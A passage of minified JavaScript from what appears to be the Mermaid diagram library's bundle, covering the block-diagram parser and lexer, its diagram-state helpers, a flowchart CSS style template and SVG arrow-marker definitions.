2,7],23:[2,14],50:[2,15],52:[2,32]},parseError:o(function(S,w){if(w.recoverable)this.trace(S);else{var k=new Error(S);throw k.hash=w,k}},"parseError"),parse:o(function(S){var w=this,k=[0],A=[],C=[null],R=[],I=this.table,L="",E=0,D=0,_=0,O=2,M=1,P=R.slice.call(arguments,1),B=Object.create(this.lexer),F={yy:{}};for(var G in this.yy)Object.prototype.hasOwnProperty.call(this.yy,G)&&(F.yy[G]=this.yy[G]);B.setInput(S,F.yy),F.yy.lexer=B,F.yy.parser=this,typeof B.yylloc>"u"&&(B.yylloc={});var $=B.yylloc;R.push($);var U=B.options&&B.options.ranges;typeof F.yy.parseError=="function"?this.parseError=F.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function j(Te){k.length=k.length-2*Te,C.length=C.length-Te,R.length=R.length-Te}o(j,"popStack");function te(){var Te;return Te=A.pop()||B.lex()||M,typeof Te!="number"&&(Te instanceof Array&&(A=Te,Te=A.pop()),Te=w.symbols_[Te]||Te),Te}o(te,"lex");for(var Y,oe,J,ue,re,ee,Z={},K,ae,Q,de;;){if(J=k[k.length-1],this.defaultActions[J]?ue=this.defaultActions[J]:((Y===null||typeof Y>"u")&&(Y=te()),ue=I[J]&&I[J][Y]),typeof ue>"u"||!ue.length||!ue[0]){var ne="";de=[];for(K in I[J])this.terminals_[K]&&K>O&&de.push("'"+this.terminals_[K]+"'");B.showPosition?ne="Parse error on line "+(E+1)+`: +`+B.showPosition()+` +Expecting `+de.join(", ")+", got '"+(this.terminals_[Y]||Y)+"'":ne="Parse error on line "+(E+1)+": Unexpected "+(Y==M?"end of input":"'"+(this.terminals_[Y]||Y)+"'"),this.parseError(ne,{text:B.match,token:this.terminals_[Y]||Y,line:B.yylineno,loc:$,expected:de})}if(ue[0]instanceof Array&&ue.length>1)throw new Error("Parse Error: multiple actions possible at state: "+J+", token: "+Y);switch(ue[0]){case 1:k.push(Y),C.push(B.yytext),R.push(B.yylloc),k.push(ue[1]),Y=null,oe?(Y=oe,oe=null):(D=B.yyleng,L=B.yytext,E=B.yylineno,$=B.yylloc,_>0&&_--);break;case 2:if(ae=this.productions_[ue[1]][1],Z.$=C[C.length-ae],Z._$={first_line:R[R.length-(ae||1)].first_line,last_line:R[R.length-1].last_line,first_column:R[R.length-(ae||1)].first_column,last_column:R[R.length-1].last_column},U&&(Z._$.range=[R[R.length-(ae||1)].range[0],R[R.length-1].range[1]]),ee=this.performAction.apply(Z,[L,D,E,F.yy,ue[1],C,R].concat(P)),typeof ee<"u")return ee;ae&&(k=k.slice(0,-1*ae*2),C=C.slice(0,-1*ae),R=R.slice(0,-1*ae)),k.push(this.productions_[ue[1]][0]),C.push(Z.$),R.push(Z._$),Q=I[k[k.length-2]][k[k.length-1]],k.push(Q);break;case 3:return!0}}return!0},"parse")},x=(function(){var T={EOF:1,parseError:o(function(w,k){if(this.yy.parser)this.yy.parser.parseError(w,k);else throw new Error(w)},"parseError"),setInput:o(function(S,w){return this.yy=w||this.yy||{},this._input=S,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var S=this._input[0];this.yytext+=S,this.yyleng++,this.offset++,this.match+=S,this.matched+=S;var w=S.match(/(?:\r\n?|\n).*/g);return w?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),S},"input"),unput:o(function(S){var w=S.length,k=S.split(/(?:\r\n?|\n)/g);this._input=S+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-w),this.offset-=w;var A=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),k.length-1&&(this.yylineno-=k.length-1);var C=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:k?(k.length===A.length?this.yylloc.first_column:0)+A[A.length-k.length].length-k[0].length:this.yylloc.first_column-w},this.options.ranges&&(this.yylloc.range=[C[0],C[0]+this.yyleng-w]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(S){this.unput(this.match.slice(S))},"less"),pastInput:o(function(){var S=this.matched.substr(0,this.matched.length-this.match.length);return(S.length>20?"...":"")+S.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var S=this.match;return S.length<20&&(S+=this._input.substr(0,20-S.length)),(S.substr(0,20)+(S.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var S=this.pastInput(),w=new Array(S.length+1).join("-");return S+this.upcomingInput()+` +`+w+"^"},"showPosition"),test_match:o(function(S,w){var k,A,C;if(this.options.backtrack_lexer&&(C={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(C.yylloc.range=this.yylloc.range.slice(0))),A=S[0].match(/(?:\r\n?|\n).*/g),A&&(this.yylineno+=A.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:A?A[A.length-1].length-A[A.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+S[0].length},this.yytext+=S[0],this.match+=S[0],this.matches=S,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(S[0].length),this.matched+=S[0],k=this.performAction.call(this,this.yy,this,w,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),k)return k;if(this._backtrack){for(var R in C)this[R]=C[R];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var S,w,k,A;this._more||(this.yytext="",this.match="");for(var C=this._currentRules(),R=0;Rw[0].length)){if(w=k,A=R,this.options.backtrack_lexer){if(S=this.test_match(k,C[R]),S!==!1)return S;if(this._backtrack){w=!1;continue}else return!1}else if(!this.options.flex)break}return w?(S=this.test_match(w,C[A]),S!==!1?S:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var w=this.next();return w||this.lex()},"lex"),begin:o(function(w){this.conditionStack.push(w)},"begin"),popState:o(function(){var w=this.conditionStack.length-1;return w>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(w){return w=this.conditionStack.length-1-Math.abs(w||0),w>=0?this.conditionStack[w]:"INITIAL"},"topState"),pushState:o(function(w){this.begin(w)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(w,k,A,C){var R=C;switch(A){case 0:return w.getLogger().debug("Found block-beta"),10;break;case 1:return w.getLogger().debug("Found id-block"),29;break;case 2:return w.getLogger().debug("Found block"),10;break;case 3:w.getLogger().debug(".",k.yytext);break;case 4:w.getLogger().debug("_",k.yytext);break;case 5:return 5;case 6:return k.yytext=-1,28;break;case 7:return k.yytext=k.yytext.replace(/columns\s+/,""),w.getLogger().debug("COLUMNS (LEX)",k.yytext),28;break;case 8:this.pushState("md_string");break;case 9:return"MD_STR";case 10:this.popState();break;case 11:this.pushState("string");break;case 12:w.getLogger().debug("LEX: POPPING STR:",k.yytext),this.popState();break;case 13:return w.getLogger().debug("LEX: STR end:",k.yytext),"STR";break;case 14:return k.yytext=k.yytext.replace(/space\:/,""),w.getLogger().debug("SPACE NUM (LEX)",k.yytext),21;break;case 15:return k.yytext="1",w.getLogger().debug("COLUMNS (LEX)",k.yytext),21;break;case 16:return 42;case 17:return"LINKSTYLE";case 18:return"INTERPOLATE";case 19:return this.pushState("CLASSDEF"),39;break;case 20:return this.popState(),this.pushState("CLASSDEFID"),"DEFAULT_CLASSDEF_ID";break;case 21:return this.popState(),this.pushState("CLASSDEFID"),40;break;case 22:return this.popState(),41;break;case 23:return this.pushState("CLASS"),43;break;case 24:return this.popState(),this.pushState("CLASS_STYLE"),44;break;case 25:return this.popState(),45;break;case 26:return this.pushState("STYLE_STMNT"),46;break;case 27:return this.popState(),this.pushState("STYLE_DEFINITION"),47;break;case 28:return this.popState(),48;break;case 29:return this.pushState("acc_title"),"acc_title";break;case 30:return this.popState(),"acc_title_value";break;case 31:return this.pushState("acc_descr"),"acc_descr";break;case 32:return this.popState(),"acc_descr_value";break;case 33:this.pushState("acc_descr_multiline");break;case 34:this.popState();break;case 35:return"acc_descr_multiline_value";case 36:return 30;case 37:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 38:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 39:return this.popState(),w.getLogger().debug("Lex: ))"),"NODE_DEND";break;case 40:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 41:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 42:return this.popState(),w.getLogger().debug("Lex: (-"),"NODE_DEND";break;case 43:return this.popState(),w.getLogger().debug("Lex: -)"),"NODE_DEND";break;case 44:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 45:return this.popState(),w.getLogger().debug("Lex: ]]"),"NODE_DEND";break;case 46:return this.popState(),w.getLogger().debug("Lex: ("),"NODE_DEND";break;case 47:return this.popState(),w.getLogger().debug("Lex: ])"),"NODE_DEND";break;case 48:return this.popState(),w.getLogger().debug("Lex: /]"),"NODE_DEND";break;case 49:return this.popState(),w.getLogger().debug("Lex: /]"),"NODE_DEND";break;case 50:return this.popState(),w.getLogger().debug("Lex: )]"),"NODE_DEND";break;case 51:return this.popState(),w.getLogger().debug("Lex: )"),"NODE_DEND";break;case 52:return this.popState(),w.getLogger().debug("Lex: ]>"),"NODE_DEND";break;case 53:return this.popState(),w.getLogger().debug("Lex: ]"),"NODE_DEND";break;case 54:return w.getLogger().debug("Lexa: -)"),this.pushState("NODE"),35;break;case 55:return w.getLogger().debug("Lexa: (-"),this.pushState("NODE"),35;break;case 56:return w.getLogger().debug("Lexa: ))"),this.pushState("NODE"),35;break;case 57:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 58:return w.getLogger().debug("Lex: ((("),this.pushState("NODE"),35;break;case 59:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 60:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 61:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 62:return w.getLogger().debug("Lexc: >"),this.pushState("NODE"),35;break;case 63:return w.getLogger().debug("Lexa: (["),this.pushState("NODE"),35;break;case 64:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 65:return this.pushState("NODE"),35;break;case 66:return this.pushState("NODE"),35;break;case 67:return this.pushState("NODE"),35;break;case 68:return this.pushState("NODE"),35;break;case 69:return this.pushState("NODE"),35;break;case 70:return this.pushState("NODE"),35;break;case 71:return this.pushState("NODE"),35;break;case 72:return w.getLogger().debug("Lexa: ["),this.pushState("NODE"),35;break;case 73:return this.pushState("BLOCK_ARROW"),w.getLogger().debug("LEX ARR START"),37;break;case 74:return w.getLogger().debug("Lex: NODE_ID",k.yytext),31;break;case 75:return w.getLogger().debug("Lex: EOF",k.yytext),8;break;case 76:this.pushState("md_string");break;case 77:this.pushState("md_string");break;case 78:return"NODE_DESCR";case 79:this.popState();break;case 80:w.getLogger().debug("Lex: Starting string"),this.pushState("string");break;case 81:w.getLogger().debug("LEX ARR: Starting string"),this.pushState("string");break;case 82:return w.getLogger().debug("LEX: NODE_DESCR:",k.yytext),"NODE_DESCR";break;case 83:w.getLogger().debug("LEX POPPING"),this.popState();break;case 84:w.getLogger().debug("Lex: =>BAE"),this.pushState("ARROW_DIR");break;case 85:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (right): dir:",k.yytext),"DIR";break;case 86:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (left):",k.yytext),"DIR";break;case 87:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (x):",k.yytext),"DIR";break;case 88:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (y):",k.yytext),"DIR";break;case 89:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (up):",k.yytext),"DIR";break;case 90:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (down):",k.yytext),"DIR";break;case 91:return k.yytext="]>",w.getLogger().debug("Lex (ARROW_DIR end):",k.yytext),this.popState(),this.popState(),"BLOCK_ARROW_END";break;case 92:return w.getLogger().debug("Lex: LINK","#"+k.yytext+"#"),15;break;case 93:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 94:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 95:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 96:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 97:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 98:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 99:this.pushState("md_string");break;case 100:return w.getLogger().debug("Lex: Starting string"),this.pushState("string"),"LINK_LABEL";break;case 101:return this.popState(),w.getLogger().debug("Lex: LINK","#"+k.yytext+"#"),15;break;case 102:return this.popState(),w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 103:return this.popState(),w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 104:return w.getLogger().debug("Lex: COLON",k.yytext),k.yytext=k.yytext.slice(1),27;break}},"anonymous"),rules:[/^(?:block-beta\b)/,/^(?:block:)/,/^(?:block\b)/,/^(?:[\s]+)/,/^(?:[\n]+)/,/^(?:((\u000D\u000A)|(\u000A)))/,/^(?:columns\s+auto\b)/,/^(?:columns\s+[\d]+)/,/^(?:["][`])/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:space[:]\d+)/,/^(?:space\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\s+)/,/^(?:DEFAULT\s+)/,/^(?:\w+\s+)/,/^(?:[^\n]*)/,/^(?:class\s+)/,/^(?:(\w+)+((,\s*\w+)*))/,/^(?:[^\n]*)/,/^(?:style\s+)/,/^(?:(\w+)+((,\s*\w+)*))/,/^(?:[^\n]*)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:end\b\s*)/,/^(?:\(\(\()/,/^(?:\)\)\))/,/^(?:[\)]\))/,/^(?:\}\})/,/^(?:\})/,/^(?:\(-)/,/^(?:-\))/,/^(?:\(\()/,/^(?:\]\])/,/^(?:\()/,/^(?:\]\))/,/^(?:\\\])/,/^(?:\/\])/,/^(?:\)\])/,/^(?:[\)])/,/^(?:\]>)/,/^(?:[\]])/,/^(?:-\))/,/^(?:\(-)/,/^(?:\)\))/,/^(?:\))/,/^(?:\(\(\()/,/^(?:\(\()/,/^(?:\{\{)/,/^(?:\{)/,/^(?:>)/,/^(?:\(\[)/,/^(?:\()/,/^(?:\[\[)/,/^(?:\[\|)/,/^(?:\[\()/,/^(?:\)\)\))/,/^(?:\[\\)/,/^(?:\[\/)/,/^(?:\[\\)/,/^(?:\[)/,/^(?:<\[)/,/^(?:[^\(\[\n\-\)\{\}\s\<\>:]+)/,/^(?:$)/,/^(?:["][`])/,/^(?:["][`])/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["])/,/^(?:["])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:\]>\s*\()/,/^(?:,?\s*right\s*)/,/^(?:,?\s*left\s*)/,/^(?:,?\s*x\s*)/,/^(?:,?\s*y\s*)/,/^(?:,?\s*up\s*)/,/^(?:,?\s*down\s*)/,/^(?:\)\s*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*~~[\~]+\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?:["][`])/,/^(?:["])/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?::\d+)/],conditions:{STYLE_DEFINITION:{rules:[28],inclusive:!1},STYLE_STMNT:{rules:[27],inclusive:!1},CLASSDEFID:{rules:[22],inclusive:!1},CLASSDEF:{rules:[20,21],inclusive:!1},CLASS_STYLE:{rules:[25],inclusive:!1},CLASS:{rules:[24],inclusive:!1},LLABEL:{rules:[99,100,101,102,103],inclusive:!1},ARROW_DIR:{rules:[85,86,87,88,89,90,91],inclusive:!1},BLOCK_ARROW:{rules:[76,81,84],inclusive:!1},NODE:{rules:[37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,77,80],inclusive:!1},md_string:{rules:[9,10,78,79],inclusive:!1},space:{rules:[],inclusive:!1},string:{rules:[12,13,82,83],inclusive:!1},acc_descr_multiline:{rules:[34,35],inclusive:!1},acc_descr:{rules:[32],inclusive:!1},acc_title:{rules:[30],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,11,14,15,16,17,18,19,23,26,29,31,33,36,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,92,93,94,95,96,97,98,104],inclusive:!0}}};return T})();v.lexer=x;function b(){this.yy={}}return o(b,"Parser"),b.prototype=v,v.Parser=b,new b})();fz.parser=fz;ybe=fz});function cnt(t){switch(X.debug("typeStr2Type",t),t){case"[]":return"square";case"()":return X.debug("we have a round"),"round";case"(())":return"circle";case">]":return"rect_left_inv_arrow";case"{}":return"diamond";case"{{}}":return"hexagon";case"([])":return"stadium";case"[[]]":return"subroutine";case"[()]":return"cylinder";case"((()))":return"doublecircle";case"[//]":return"lean_right";case"[\\\\]":return"lean_left";case"[/\\]":return"trapezoid";case"[\\/]":return"inv_trapezoid";case"<[]>":return"block_arrow";default:return"na"}}function unt(t){switch(X.debug("typeStr2Type",t),t){case"==":return"thick";default:return"normal"}}function hnt(t){switch(t.replace(/^[\s-]+|[\s-]+$/g,"")){case"x":return"arrow_cross";case"o":return"arrow_circle";case">":return"arrow_point";default:return""}}var ql,pz,dz,xbe,bbe,rnt,wbe,nnt,DC,int,ant,snt,ont,kbe,mz,R4,lnt,Tbe,fnt,dnt,pnt,mnt,gnt,ynt,vnt,xnt,bnt,Tnt,wnt,Ebe,Sbe=N(()=>{"use strict";hR();qn();Xt();pt();gr();ci();ql=new Map,pz=[],dz=new Map,xbe="color",bbe="fill",rnt="bgFill",wbe=",",nnt=ge(),DC=new Map,int=o(t=>tt.sanitizeText(t,nnt),"sanitizeText"),ant=o(function(t,e=""){let r=DC.get(t);r||(r={id:t,styles:[],textStyles:[]},DC.set(t,r)),e?.split(wbe).forEach(n=>{let i=n.replace(/([^;]*);/,"$1").trim();if(RegExp(xbe).exec(n)){let s=i.replace(bbe,rnt).replace(xbe,bbe);r.textStyles.push(s)}r.styles.push(i)})},"addStyleClass"),snt=o(function(t,e=""){let r=ql.get(t);e!=null&&(r.styles=e.split(wbe))},"addStyle2Node"),ont=o(function(t,e){t.split(",").forEach(function(r){let n=ql.get(r);if(n===void 0){let i=r.trim();n={id:i,type:"na",children:[]},ql.set(i,n)}n.classes||(n.classes=[]),n.classes.push(e)})},"setCssClass"),kbe=o((t,e)=>{let r=t.flat(),n=[],a=r.find(s=>s?.type==="column-setting")?.columns??-1;for(let s of r){if(typeof a=="number"&&a>0&&s.type!=="column-setting"&&typeof s.widthInColumns=="number"&&s.widthInColumns>a&&X.warn(`Block ${s.id} width ${s.widthInColumns} exceeds configured column width ${a}`),s.label&&(s.label=int(s.label)),s.type==="classDef"){ant(s.id,s.css);continue}if(s.type==="applyClass"){ont(s.id,s?.styleClass??"");continue}if(s.type==="applyStyles"){s?.stylesStr&&snt(s.id,s?.stylesStr);continue}if(s.type==="column-setting")e.columns=s.columns??-1;else if(s.type==="edge"){let l=(dz.get(s.id)??0)+1;dz.set(s.id,l),s.id=l+"-"+s.id,pz.push(s)}else{s.label||(s.type==="composite"?s.label="":s.label=s.id);let l=ql.get(s.id);if(l===void 0?ql.set(s.id,s):(s.type!=="na"&&(l.type=s.type),s.label!==s.id&&(l.label=s.label)),s.children&&kbe(s.children,s),s.type==="space"){let u=s.width??1;for(let h=0;h{X.debug("Clear called"),Sr(),R4={id:"root",type:"composite",children:[],columns:-1},ql=new Map([["root",R4]]),mz=[],DC=new Map,pz=[],dz=new Map},"clear");o(cnt,"typeStr2Type");o(unt,"edgeTypeStr2Type");o(hnt,"edgeStrToEdgeData");Tbe=0,fnt=o(()=>(Tbe++,"id-"+Math.random().toString(36).substr(2,12)+"-"+Tbe),"generateId"),dnt=o(t=>{R4.children=t,kbe(t,R4),mz=R4.children},"setHierarchy"),pnt=o(t=>{let e=ql.get(t);return e?e.columns?e.columns:e.children?e.children.length:-1:-1},"getColumns"),mnt=o(()=>[...ql.values()],"getBlocksFlat"),gnt=o(()=>mz||[],"getBlocks"),ynt=o(()=>pz,"getEdges"),vnt=o(t=>ql.get(t),"getBlock"),xnt=o(t=>{ql.set(t.id,t)},"setBlock"),bnt=o(()=>X,"getLogger"),Tnt=o(function(){return DC},"getClasses"),wnt={getConfig:o(()=>Qt().block,"getConfig"),typeStr2Type:cnt,edgeTypeStr2Type:unt,edgeStrToEdgeData:hnt,getLogger:bnt,getBlocksFlat:mnt,getBlocks:gnt,getEdges:ynt,setHierarchy:dnt,getBlock:vnt,setBlock:xnt,getColumns:pnt,getClasses:Tnt,clear:lnt,generateId:fnt},Ebe=wnt});var LC,knt,Cbe,Abe=N(()=>{"use strict";eo();yg();LC=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),knt=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .cluster-label text { + fill: ${t.titleColor}; + } + .cluster-label span,p { + color: ${t.titleColor}; + } + + + + .label text,span,p { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + .flowchart-label text { + text-anchor: middle; + } + // .flowchart-label .text-outer-tspan { + // text-anchor: middle; + // } + // .flowchart-label .text-inner-tspan { + // text-anchor: start; + // } + + .node .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 2.0px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + + /* For html labels only */ + .labelBkg { + background-color: ${LC(t.edgeLabelBackground,.5)}; + // background-color: + } + + .node .cluster { + // fill: ${LC(t.mainBkg,.5)}; + fill: ${LC(t.clusterBkg,.5)}; + stroke: ${LC(t.clusterBorder,.2)}; + box-shadow: rgba(50, 50, 93, 0.25) 0px 13px 27px -5px, rgba(0, 0, 0, 0.3) 0px 8px 16px -8px; + stroke-width: 1px; + } + + .cluster text { + fill: ${t.titleColor}; + } + + .cluster span,p { + color: ${t.titleColor}; + } + /* .cluster div { + color: ${t.titleColor}; + } */ + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .flowchartTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } + ${zc()} +`,"getStyles"),Cbe=knt});var Ent,Snt,Cnt,Ant,_nt,Dnt,Lnt,Rnt,Nnt,Mnt,Int,_be,Dbe=N(()=>{"use strict";pt();Ent=o((t,e,r,n)=>{e.forEach(i=>{Int[i](t,r,n)})},"insertMarkers"),Snt=o((t,e,r)=>{X.trace("Making markers for ",r),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionStart").attr("class","marker extension "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 1,7 L18,13 V 1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionEnd").attr("class","marker extension "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 1,1 V 13 L18,7 Z")},"extension"),Cnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionStart").attr("class","marker composition "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionEnd").attr("class","marker composition "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"composition"),Ant=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationStart").attr("class","marker aggregation "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationEnd").attr("class","marker aggregation "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"aggregation"),_nt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyStart").attr("class","marker dependency "+e).attr("refX",6).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 5,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyEnd").attr("class","marker dependency "+e).attr("refX",13).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"dependency"),Dnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopStart").attr("class","marker lollipop "+e).attr("refX",13).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6),t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopEnd").attr("class","marker lollipop "+e).attr("refX",1).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6)},"lollipop"),Lnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-pointEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",6).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 0 L 10 5 L 0 10 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-pointStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",4.5).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 5 L 10 10 L 10 0 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"point"),Rnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-circleEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",11).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-circleStart").attr("class","marker "+e).attr("viewBox","0 0 10 